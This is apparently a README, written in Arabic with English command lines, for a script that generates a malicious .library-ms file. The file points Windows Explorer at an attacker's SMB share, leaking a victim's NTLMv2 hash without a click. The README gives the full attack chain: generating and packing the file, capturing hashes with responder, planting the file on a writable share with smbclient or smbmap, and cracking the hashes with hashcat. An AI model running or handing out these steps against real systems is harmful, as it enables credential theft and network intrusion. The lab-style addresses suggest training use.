❀ ما الذي يفعله

يطلب عنوان IP الخاص بالهجوم واسم ملف، ثم يكتب ملف .library-ms يشير إلى \\<IP>\share، ويحزمه داخل exploit.tar. عندما يتصفح Explorer المجلد الذي يصل إليه ملف .library-ms المفكوك، فإنه يحل مسار UNC هذا تلقائيًا ويسرّب NTLMv2 الخاص بالحساب إلى المستمع لديك — دون الحاجة إلى أي نقرة.

⚠️ الملف .library-ms المفكوك هو ما يُفعّل الاستغلال — وليس ملف .tar. ملف .tar الموجود على المشاركة خامل؛ فـ Explorer لا يحلل ملفات tarball. يجب عليك إيصال ملف .library-ms نفسه إلى المشاركة كملف مفكوك. تعتمد طريقة القيام بذلك على الأداة (أدناه).

❀ تشغيله

uv run coerce_library.py      # or: python3 coerce_library.py

Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms  ->  \\10.10.14.197\share
[+] packed into exploit.tar

❀ ثم

1) الاستماع

sudo responder -I tun0

2) إيصال ملف .library-ms إلى مشاركة قابلة للكتابة

smbclient — ارفع ملف .tar، ثم استخرجه على الخادم باستخدام tar x (مما يُسقط ملف .library-ms المفكوك بجانبه):

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'

smbmap — لا يحتوي على خطوة استخراج، لذا ارفع ملف .library-ms المفكوك مباشرةً (رفع ملف .tar هنا لا يفعل شيئًا — فهو غير قادر على فك ضغطه):

smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'

تأكد من وصوله مفكوكًا على المشاركة:

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library

3) كسر NTLMv2 الملتقط

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt